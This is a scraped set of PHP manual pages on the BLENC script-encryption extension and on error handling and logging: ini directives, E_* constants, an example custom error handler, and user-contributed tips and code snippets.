When you add the blenc extension to your php installation, you should add in your php.ini :

; Blenc for windows
extension=php_blenc.dll
blenc.key_file = "c:\path\to\blenckeys"

a blank key file directive doesn't allow the blenc extension to decrypt the files (and also to add keys when encoding a file)


  • « Runtime Configuration
  • Predefined Constants »
  • PHP Manual
  • Installing/Configuring
  • Resource Types

Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

BLENC_EXT_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.


Blenc Functions

Table of Contents

  • blenc_encrypt — Encrypt a PHP script with BLENC.

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a PHP script with BLENC.

  • « Blenc Functions
  • Error Handling »
  • PHP Manual
  • Blenc Functions
  • Encrypt a PHP script with BLENC.

blenc_encrypt

(PECL blenc >= 5)

blenc_encrypt — Encrypt a PHP script with BLENC.

Description

string blenc_encrypt ( string $plaintext , string $encodedfile [, string $encryption_key ] )

Encrypt the plaintext content and write it into encodedfile

Parameters

plaintext

A source code to encrypt. Does not need to contain opening/closing PHP tags

encodedfile

The filename where BLENC will save the encoded source.

encryption_key

The key that BLENC will use to encrypt plaintext content. If not given BLENC will create a valid key.

Return Values

BLENC will return the redistributable key that must be saved into key_file: the path of key_file is specified at runtime with the option blenc.key_file

Examples

Example #1 blenc_encrypt() example

<?php

/* read the PHP source code */
$source_code = file_get_contents("my_source_to_protect.php");

/* create the encrypted version */
$redistributable_key = blenc_encrypt($source_code, "my_source_encoded.php");

/* read which is the key_file */
$key_file = ini_get('blenc.key_file');

/* save the redistributable key */
file_put_contents($key_file, $redistributable_key, FILE_APPEND);
?>

User Contributed Notes

There are no user contributed notes for this page.


Error Handling and Logging

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Error Handling Functions
    • debug_backtrace — Generates a backtrace
    • debug_print_backtrace — Prints a backtrace
    • error_get_last — Get the last occurred error
    • error_log — Send an error message to the defined error handling routines
    • error_reporting — Sets which PHP errors are reported
    • restore_error_handler — Restores the previous error handler function
    • restore_exception_handler — Restores the previously defined exception handler function
    • set_error_handler — Sets a user-defined error handler function
    • set_exception_handler — Sets a user-defined exception handler function
    • trigger_error — Generates a user-level error/warning/notice message
    • user_error — Alias of trigger_error

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These are functions dealing with error handling and logging. They allow you to define your own error handling rules, as well as modify the way the errors can be logged. This allows you to change and enhance error reporting to suit your needs.

With the logging functions, you can send messages directly to other machines, to an email (or email to pager gateway!), to system logs, etc., so you can selectively log and monitor the most important parts of your applications and websites.

The error reporting functions allow you to customize what level and kind of error feedback is given, ranging from simple notices to customized functions returned during errors.

User Contributed Notes

There are no user contributed notes for this page.


Installation

There is no installation needed to use these functions; they are part of the PHP core.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Errors and Logging Configuration Options
Name | Default | Changeable | Changelog
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL |
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_errors | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
ignore_repeated_source | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
report_memleaks | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
track_errors | "0" | PHP_INI_ALL |
html_errors | "1" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP <= 4.2.3.
xmlrpc_errors | "0" | PHP_INI_SYSTEM | Available since PHP 4.1.0.
xmlrpc_error_number | "0" | PHP_INI_ALL | Available since PHP 4.1.0.
docref_root | "" | PHP_INI_ALL | Available since PHP 4.3.0.
docref_ext | "" | PHP_INI_ALL | Available since PHP 4.3.2.
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

error_reporting integer

Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive.

PHP 5.3 or later, the default value is E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED. This setting does not show E_NOTICE, E_STRICT and E_DEPRECATED level errors. You may want to show them during development. Prior to PHP 5.3.0, the default value is E_ALL & ~E_NOTICE & ~E_STRICT. In PHP 4 the default value is E_ALL & ~E_NOTICE.

Note:

Enabling E_NOTICE during development has some benefits. For debugging purposes: NOTICE messages will warn you about possible bugs in your code. For example, use of unassigned values is warned. It is extremely useful to find typos and to save time for debugging. NOTICE messages will warn you about bad style. For example, $arr[item] is better to be written as $arr['item'] since PHP tries to treat "item" as constant. If it is not a constant, PHP assumes it is a string index for the array.

Note:

In PHP 5 a new error level E_STRICT is available. Prior to PHP 5.4.0 E_STRICT was not included within E_ALL, so you would have to explicitly enable this kind of error level in PHP < 5.4.0. Enabling E_STRICT during development has some benefits. STRICT messages provide suggestions that can help ensure the best interoperability and forward compatibility of your code. These messages may include things such as calling non-static methods statically, defining properties in a compatible class definition while defined in a used trait, and prior to PHP 5.3 some deprecated features would issue E_STRICT errors such as assigning objects by reference upon instantiation.

Note: PHP Constants outside of PHP

Using PHP Constants outside of PHP, like in httpd.conf, will have no useful meaning so in such cases the integer values are required. And since error levels will be added over time, the maximum value (for E_ALL) will likely change. So in place of E_ALL consider using a larger value to cover all bit fields from now and well into the future, a numeric value like 2147483647 (includes all errors, not just E_ALL).

display_errors string

This determines whether errors should be printed to the screen as part of the output or if they should be hidden from the user.

Value "stderr" sends the errors to stderr instead of stdout. The value is available as of PHP 5.2.4. In earlier versions, this directive was of type boolean.

Note:

This is a feature to support your development and should never be used on production systems (e.g. systems connected to the internet).

Note:

Although display_errors may be set at runtime (with ini_set()), it won't have any effect if the script has fatal errors. This is because the desired runtime action does not get executed.

display_startup_errors boolean

Even when display_errors is on, errors that occur during PHP's startup sequence are not displayed. It's strongly recommended to keep display_startup_errors off, except for debugging.

log_errors boolean

Tells whether script error messages should be logged to the server's error log or error_log. This option is thus server-specific.

Note:

You're strongly advised to use error logging in place of error displaying on production web sites.

log_errors_max_len integer

Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg.

When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used.
ignore_repeated_errors boolean

Do not log repeated messages. Repeated errors must occur in the same file on the same line unless ignore_repeated_source is set true.

ignore_repeated_source boolean

Ignore source of message when ignoring repeated messages. When this setting is On you will not log errors with repeated messages from different files or sourcelines.

report_memleaks boolean

If this parameter is set to On (the default), this parameter will show a report of memory leaks detected by the Zend memory manager. This report will be send to stderr on Posix platforms. On Windows, it will be send to the debugger using OutputDebugString(), and can be viewed with tools like » DbgView. This parameter only has effect in a debug build, and if error_reporting includes E_WARNING in the allowed list.

track_errors boolean

If enabled, the last error message will always be present in the variable $php_errormsg.

html_errors boolean

Turn off HTML tags in error messages. The new format for HTML errors produces clickable messages that direct the user to a page describing the error or function in causing the error. These references are affected by docref_root and docref_ext.

xmlrpc_errors boolean

Turns off normal error reporting and formats errors as XML-RPC error message.

xmlrpc_error_number integer

Used as the value of the XML-RPC faultCode element.

docref_root string

The new error format contains a reference to a page describing the error or function causing the error. In case of manual pages you can download the manual in your language and set this ini directive to the URL of your local copy. If your local copy of the manual can be reached by "/manual/" you can simply use docref_root=/manual/. Additional you have to set docref_ext to match the fileextensions of your copy docref_ext=.html. It is possible to use external references. For example you can use docref_root=http://manual/en/ or docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

Most of the time you want the docref_root value to end with a slash "/". But see the second example above which does not have nor need it.

Note:

This is a feature to support your development since it makes it easy to lookup a function description. However it should never be used on production systems (e.g. systems connected to the internet).

docref_ext string

See docref_root.

Note:

The value of docref_ext must begin with a dot ".".

error_prepend_string string

String to output before an error message.

error_append_string string

String to output after an error message.

error_log string

Name of the file where script errors should be logged. The file should be writable by the web server's user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI. See also error_log().

User Contributed Notes

geompse at gmail dot com 14-Feb-2011 04:49
Note that if error_log is empty, errors/warnings/notices will be written to stderr (standard error stream), and this may be a problem if you is PHP in CLI.

<?php
# test.php
error_reporting(E_ALL);
ini_set('display_errors','On');

ini_set('error_log','my_file.log');
foreach(1 as $i);

ini_set('error_log','');
foreach(1 as $i);

ini_set('error_log','/dev/null'); #linux
foreach(1 as $i);
?>

php -f test.php
will output :
<?
Warning: Invalid argument supplied for foreach() in /test.php on line 7 # stdout
PHP Warning:  Invalid argument supplied for foreach() in /test.php on line 10 # stderr
Warning: Invalid argument supplied for foreach() in /test.php on line 10 # stdout
Warning: Invalid argument supplied for foreach() in /test.php on line 13 # stdout
?>

Errors displayed in the stdout (standard output stream) car be catched with the output buffering functions (ob_start/ob_get_clean) while strerr cannot.
plonk at xonx dot de 12-Jan-2011 08:46
When using PHP with Apache mod_fcgid and "log_errors = On", PHP errors get logged into Apache ErrorLog file with severity "warn". No matter what severity the PHP error itself has, the severity in the Apache log is "warn".
To log PHP errors in the Apache log, use:
LogLevel warn
(or debug, info, notice)
ivanmaz at yandex dot ru 02-Apr-2009 08:44
There is a more simple and more correct solution - to use file .htaccess, where you can simply add the following lines:

php_value display_errors 1
php_value display_startup_errors 1
cjakeman at bcs dot org 17-Mar-2009 10:06
Using
<?php ini_set('display_errors', 1); ?>
at the top of your script will not catch any parse errors. A missing ")" or ";" will still lead to a blank page.

This is because the entire script is parsed before any of it is executed. If you are unable to change php.ini and set

display_errors On

then there is a possible solution suggested under error_reporting:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

[Modified by moderator]

You should also consider setting error_reporting = -1 in your php.ini and display_errors = On if you are in development mode to see all fatal/parse errors or set error_log to your desired file to log errors instead of display_errors in production (this requires log_errors to be turned on).


Predefined Constants

The constants below are always available as part of the PHP core.

Note: You may use these constant names in php.ini but not outside of PHP, like in httpd.conf, where you'd use the bitmask values instead.

Errors and Logging
Value | Constant | Description | Note
1 | E_ERROR (integer) | Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted. |
2 | E_WARNING (integer) | Run-time warnings (non-fatal errors). Execution of the script is not halted. |
4 | E_PARSE (integer) | Compile-time parse errors. Parse errors should only be generated by the parser. |
8 | E_NOTICE (integer) | Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script. |
16 | E_CORE_ERROR (integer) | Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP. |
32 | E_CORE_WARNING (integer) | Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP. |
64 | E_COMPILE_ERROR (integer) | Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine. |
128 | E_COMPILE_WARNING (integer) | Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine. |
256 | E_USER_ERROR (integer) | User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error(). |
512 | E_USER_WARNING (integer) | User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error(). |
1024 | E_USER_NOTICE (integer) | User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error(). |
2048 | E_STRICT (integer) | Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code. | Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096 | E_RECOVERABLE_ERROR (integer) | Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR. | Since PHP 5.2.0
8192 | E_DEPRECATED (integer) | Run-time notices. Enable this to receive warnings about code that will not work in future versions. | Since PHP 5.3.0
16384 | E_USER_DEPRECATED (integer) | User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error(). | Since PHP 5.3.0
32767 | E_ALL (integer) | All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0. | 32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

The above values (either numerical or symbolic) are used to build up a bitmask that specifies which errors to report. You can use the bitwise operators to combine these values or mask out certain types of errors. Note that only '|', '~', '!', '^' and '&' will be understood within php.ini.

User Contributed Notes

chris-php at IGNORETHISPART dot cybermato dot com 29-Aug-2014 04:06
How about this?  Unlike the examples below, it will show all the bits that are set, AND handle any bits defined in the future (at least not silently hide them)...

    $strErrorType = "";
    $bit = 1;
    $tmpErrNo = $errNo;
    while ($tmpErrNo) {
        if ($tmpErrNo & $bit) {
            if ($strErrorType != "")
                $strErrorType .= " | ";
            switch ($bit) {
            case E_USER_WARNING:
                $strErrorType .= "E_USER_WARNING"; break;
            case E_USER_NOTICE:
                $strErrorType .= "E_USER_NOTICE"; break;
            case E_WARNING:
                $strErrorType .= "E_WARNING"; break;
            case E_CORE_WARNING:
                $strErrorType .= "E_CORE_WARNING"; break;
            case E_COMPILE_WARNING:
                $strErrorType .= "E_COMPILE_WARNING"; break;
            case E_NOTICE:
                $strErrorType .= "E_NOTICE"; break;
            case E_ERROR:
                $strErrorType .= "E_ERROR"; break;
            case E_PARSE:
                $strErrorType .= "E_PARSE"; break;
            case E_CORE_ERROR:
                $strErrorType .= "E_CORE_ERROR"; break;
            case E_COMPILE_ERROR:
                $strErrorType .= "E_COMPILE_ERROR"; break;
            case E_USER_ERROR:
                $strErrorType .= "E_USER_ERROR"; break;
            default:
                $strErrorType .= "(unknown error bit $bit)"; break;
            }
        }
        $tmpErrNo &= ~$bit;
        $bit <<= 1;
    }
tedmasterweb at gmail dot com 29-May-2014 01:17
Setting error_reporting in .htaccess or even httpd.conf can be confusing since you can't combine values as you can in php.ini.

To set error_reporting to return multiple values, just repeat the setting in .htaccess for each type of error you want to see. For example, the default PHP setting (E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED) would be something like:

php_value error_reporting 1
php_value error_reporting 2
php_value error_reporting 4
php_value error_reporting 16
php_value error_reporting 32
php_value error_reporting 64
php_value error_reporting 128
php_value error_reporting 256
php_value error_reporting 1024
php_value error_reporting 2048
php_value error_reporting 4096
php_value error_reporting 16384

Note that this is not exactly the same as E_ALL (if I understand correctly) catches all errors not indicated here, but please correct me if I'm wrong.
Anonymous 02-Sep-2012 04:31
this would give you all the reported exception list of your configuration.

<?php
function FriendlyErrorType($type)
{
    $return ="";
    if($type & E_ERROR) // 1 //
        $return.='& E_ERROR ';
    if($type & E_WARNING) // 2 //
        $return.='& E_WARNING ';
    if($type & E_PARSE) // 4 //
        $return.='& E_PARSE ';
    if($type & E_NOTICE) // 8 //
        $return.='& E_NOTICE ';
    if($type & E_CORE_ERROR) // 16 //
        $return.='& E_CORE_ERROR ';
    if($type & E_CORE_WARNING) // 32 //
        $return.='& E_CORE_WARNING ';
    if($type & E_COMPILE_ERROR) // 64 //
        $return.='& E_COMPILE_ERROR ';
    if($type & E_COMPILE_WARNING) // 128 //
        $return.='& E_COMPILE_WARNING ';
    if($type & E_USER_ERROR) // 256 //
        $return.='& E_USER_ERROR ';
    if($type & E_USER_WARNING) // 512 //
        $return.='& E_USER_WARNING ';
    if($type & E_USER_NOTICE) // 1024 //
        $return.='& E_USER_NOTICE ';
    if($type & E_STRICT) // 2048 //
        $return.='& E_STRICT ';
    if($type & E_RECOVERABLE_ERROR) // 4096 //
        $return.='& E_RECOVERABLE_ERROR ';
    if($type & E_DEPRECATED) // 8192 //
        $return.='& E_DEPRECATED ';
    if($type & E_USER_DEPRECATED) // 16384 //
        $return.='& E_USER_DEPRECATED ';
    return substr($return,2);
}
echo "error_reporting = " . FriendlyErrorType(ini_get('error_reporting')) .";<br>";
?>
russthom at fivegulf dot com 17-Jul-2012 03:25
The following code expands on Vlad's code to show all the flags that are set.  if not set, a blank line shows.

<?php
$errLvl = error_reporting();
for ($i = 0; $i < 15;  $i++ ) {
    print FriendlyErrorType($errLvl & pow(2, $i)) . "<br>\\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_CORE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_CORE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
?>
vladvarna at gmail dot com 16-Mar-2012 06:35
function FriendlyErrorType($type)
    {
        switch($type)
            {
            case E_ERROR: // 1 //
                return 'E_ERROR';
            case E_WARNING: // 2 //
                return 'E_WARNING';
            case E_PARSE: // 4 //
                return 'E_PARSE';
            case E_NOTICE: // 8 //
                return 'E_NOTICE';
            case E_CORE_ERROR: // 16 //
                return 'E_CORE_ERROR';
            case E_CORE_WARNING: // 32 //
                return 'E_CORE_WARNING';
            case E_CORE_ERROR: // 64 //
                return 'E_COMPILE_ERROR';
            case E_CORE_WARNING: // 128 //
                return 'E_COMPILE_WARNING';
            case E_USER_ERROR: // 256 //
                return 'E_USER_ERROR';
            case E_USER_WARNING: // 512 //
                return 'E_USER_WARNING';
            case E_USER_NOTICE: // 1024 //
                return 'E_USER_NOTICE';
            case E_STRICT: // 2048 //
                return 'E_STRICT';
            case E_RECOVERABLE_ERROR: // 4096 //
                return 'E_RECOVERABLE_ERROR';
            case E_DEPRECATED: // 8192 //
                return 'E_DEPRECATED';
            case E_USER_DEPRECATED: // 16384 //
                return 'E_USER_DEPRECATED';
            }
        return $type;
    }
frozenfire at php dot net 12-Aug-2011 09:00
Please note that a bug exists in Xdebug versions up to at least 2.1.2 where E_USER_DEPRECATED is not supported even in PHP 5.3.0+.
Andy at Azurite (co uk) 16-Apr-2011 01:15
-1 is also semantically meaningless as a bit field, and only works in 2s-complement numeric representations.  On a 1s-complement system -1 would not set E_ERROR.  On a sign-magnitude system -1 would set nothing at all! (see e.g. http://en.wikipedia.org/wiki/Ones%27_complement)

If you want to set all bits, ~0 is the correct way to do it.

But setting undefined bits could result in undefined behaviour and that means *absolutely anything* could happen :-)
PhpMyCoder 15-Jul-2010 12:26
Well, technically -1 will show all errors which includes any new ones included by PHP. My guess is that E_ALL will always include new error constants so I usually prefer:

<?php
error_reporting(E_ALL | E_STRICT);
?>

Reason being: With a quick glance anyone can tell you what errors are reported. -1 might be a bit more cryptic to newer programmers.
wolfrageweb.com 01-Oct-2009 12:52
-1 sets the error reporting to show all to include strict. Should only be used for development servers.


Examples

Below we can see an example of using the error handling capabilities in PHP. We define an error handling function which logs the information into a file (using an XML format), and e-mails the developer if a critical error in the logic happens.

Example #1 Using error handling in a script

<?php
// we will do our own error handling
error_reporting(0);

// user defined error handling function
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
    // timestamp for the error entry
    $dt = date("Y-m-d H:i:s (T)");

    // define an assoc array of error string
    // in reality the only entries we should
    // consider are E_WARNING, E_NOTICE, E_USER_ERROR,
    // E_USER_WARNING and E_USER_NOTICE
    $errortype = array (
                E_ERROR              => 'Error',
                E_WARNING            => 'Warning',
                E_PARSE              => 'Parsing Error',
                E_NOTICE             => 'Notice',
                E_CORE_ERROR         => 'Core Error',
                E_CORE_WARNING       => 'Core Warning',
                E_COMPILE_ERROR      => 'Compile Error',
                E_COMPILE_WARNING    => 'Compile Warning',
                E_USER_ERROR         => 'User Error',
                E_USER_WARNING       => 'User Warning',
                E_USER_NOTICE        => 'User Notice',
                E_STRICT             => 'Runtime Notice',
                E_RECOVERABLE_ERROR  => 'Catchable Fatal Error'
                );
    // set of errors for which a var trace will be saved
    $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

    $err = "<errorentry>\n";
    $err .= "\t<datetime>" . $dt . "</datetime>\n";
    $err .= "\t<errornum>" . $errno . "</errornum>\n";
    $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
    $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
    $err .= "\t<scriptname>" . $filename . "</scriptname>\n";
    $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

    if (in_array($errno, $user_errors)) {
        $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
    }
    $err .= "</errorentry>\n\n";

    // for testing
    // echo $err;

    // save to the error log, and e-mail me if there is a critical user error
    error_log($err, 3, "/usr/local/php4/error.log");
    if ($errno == E_USER_ERROR) {
        mail("phpdev@example.com", "Critical User Error", $err);
    }
}

function distance($vect1, $vect2)
{
    if (!is_array($vect1) || !is_array($vect2)) {
        trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
        return NULL;
    }

    if (count($vect1) != count($vect2)) {
        trigger_error("Vectors need to be of the same size", E_USER_ERROR);
        return NULL;
    }

    for ($i=0; $i<count($vect1); $i++) {
        $c1 = $vect1[$i]; $c2 = $vect2[$i];
        $d = 0.0;
        if (!is_numeric($c1)) {
            trigger_error("Coordinate $i in vector 1 is not a number, using zero",
                            E_USER_WARNING);
            $c1 = 0.0;
        }
        if (!is_numeric($c2)) {
            trigger_error("Coordinate $i in vector 2 is not a number, using zero",
                            E_USER_WARNING);
            $c2 = 0.0;
        }
        $d += $c2*$c2 - $c1*$c1;
    }
    return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// undefined constant, generates a warning
$t = I_AM_NOT_DEFINED;

// define some "vectors"
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// generate a user error
$t1 = distance($c, $b) . "\n";

// generate another user error
$t2 = distance($b, "i am not an array") . "\n";

// generate a warning
$t3 = distance($a, $b) . "\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Error Handling Functions

See Also

See also syslog().

Table of Contents

  • debug_backtrace — Generates a backtrace
  • debug_print_backtrace — Prints a backtrace
  • error_get_last — Get the last occurred error
  • error_log — Send an error message to the defined error handling routines
  • error_reporting — Sets which PHP errors are reported
  • restore_error_handler — Restores the previous error handler function
  • restore_exception_handler — Restores the previously defined exception handler function
  • set_error_handler — Sets a user-defined error handler function
  • set_exception_handler — Sets a user-defined exception handler function
  • trigger_error — Generates a user-level error/warning/notice message
  • user_error — Alias of trigger_error

User Contributed Notes

jbq at caraldi dot com 15-Nov-2007 02:50
Precision about error_log when configured with syslog: the syslog() call is done with severity NOTICE.
Stephen 19-Jan-2007 12:29
If you are using PHP as an Apache module, your default behavior may be to write PHP error messages to Apache's error log. This is because the error_log .ini directive may be set equal to "error_log" which is also the name of Apache's error log. I think this is intentional.

However, you can separate Apache errors from PHP errors if you wish by simply setting a different value for error_log. I write mine in the /var/log folder.
petrov dot michael () gmail com 16-Jan-2007 08:11
I have found that on servers that enforce display_errors to be off it is very inconvenient to debug syntax errors since they cause fatal startup errors. I have used the following method to bypass this limitation:

The syntax error is inside the file "syntax.php", therefore I create a file "syntax.debug.php" with the following code:

<?php
error_reporting(E_ALL);
ini_set('display_errors','On');

include('syntax.php');
?>

The 5 line file is guaranteed to be free of errors, allowing PHP to execute the directives within it before including the file which previously caused fatal startup errors. Now those fatal startup errors become run time fatal errors.
mortonda at dgrmm dot net 09-Jan-2007 02:16
Note the example code listed here calls date() every time this is called.   If you have a complex source base which calls the custom error handler often, it can end up taking quite a bit of time.  I ran a profiler on som code and discovered that 50% of the time was spent in the date function in this error handler.
theotek AT nowhere DOT org 04-Aug-2006 05:40
It is totally possible to use debug_backtrace() inside an error handling function. Here, take a look:

<?php
set_error_handler('errorHandler');

function errorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
{
  echo 'Into '.__FUNCTION__.'() at line '.__LINE__.
  "\n\n---ERRNO---\n". print_r( $errno, true).
  "\n\n---ERRSTR---\n". print_r( $errstr, true).
  "\n\n---ERRFILE---\n". print_r( $errfile, true).
  "\n\n---ERRLINE---\n". print_r( $errline, true).
  "\n\n---ERRCONTEXT---\n".print_r( $errcontext, true).
  "\n\nBacktrace of errorHandler()\n".
  print_r( debug_backtrace(), true);
}

function a( )
{
  //echo "a()'s backtrace\n".print_r( debug_backtrace(), true);
  asdfasdf; // oops
}

function b()
{
  //echo "b()'s backtrace\n".print_r( debug_backtrace(), true);
  a();
}

b();
?>

Outputs:

<raw>

Into errorhandler() at line 9

---ERRNO---
8

---ERRSTR---
Use of undefined constant asdfasdf - assumed 'asdfasdf'

---ERRFILE---
/home/theotek/test-1.php

---ERRLINE---
23

---ERRCONTEXT---
Array
(
)

Backtrace of errorHandler()
Array
(
    [0] => Array
        (
            [function] => errorhandler
            [args] => Array
                (
                    [0] => 8
                    [1] => Use of undefined constant asdfasdf - assumed 'asdfasdf'
                    [2] => /home/theotek/test-1.php
                    [3] => 23
                    [4] => Array
                        (
                        )

                )

        )

    [1] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 23
            [function] => a
        )

    [2] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 30
            [function] => a
            [args] => Array
                (
                )

        )

    [3] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 33
            [function] => b
            [args] => Array
                (
                )

        )

)

</raw>

So, the first member of the backtrace's array is not really surprising, except from the missing "file" and "line" members.

The second member of the backtrace seem the be a hook inside the zend engine that is used to trigger the error.

Other members are the normal backtrace.
email_php_28429 at wg-karlsruhe dot de 20-Feb-2006 08:52
if you cannot use php 5+ and if you do not know, when your administrator/provider will update to a newer php-version, this could be interesting. otherwise it surely is not. ;-)

if you use the example above "example 1: using error handling in a script" with a php version prior to php 5, the part

<?php
$errortype = array(
  // ...
  E_STRICT          => "Runtime Notice");?>

will throw a notice like
"Use of undefined constant E_STRICT - assumed 'E_STRICT'".

of course one could avoid this problem, with

<?php
if(defined('E_STRICT')) define('E_STRICT', 2048);
?>.

but this _could_ generate problems in future versions of php, if E_STRICT is set to 42 or something else.

for this reason i suggest

<?php
$errortype = array(
  E_ERROR           => 'error',
  E_WARNING         => 'warning',
  E_PARSE           => 'parsing error',
  E_NOTICE          => 'notice',
  E_CORE_ERROR      => 'core error',
  E_CORE_WARNING    => 'core warning',
  E_COMPILE_ERROR   => 'compile error',
  E_COMPILE_WARNING => 'compile warning',
  E_USER_ERROR      => 'user error',
  E_USER_WARNING    => 'user warning',
  E_USER_NOTICE     => 'user notice');
if(defined('E_STRICT'))
  $errortype[E_STRICT] = 'runtime notice';
?>.

<?php
// and instead of
// error_reporting(E_ALL | E_STRICT);
// one can use
error_reporting(E_ALL | (defined('E_STRICT')? E_STRICT : 0));
// to avoid that notice.
?>

prosit
seth
tracerdx at tracerdx dot com 29-Nov-2005 06:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
    //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
    //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
    //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
21-May-2005 01:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

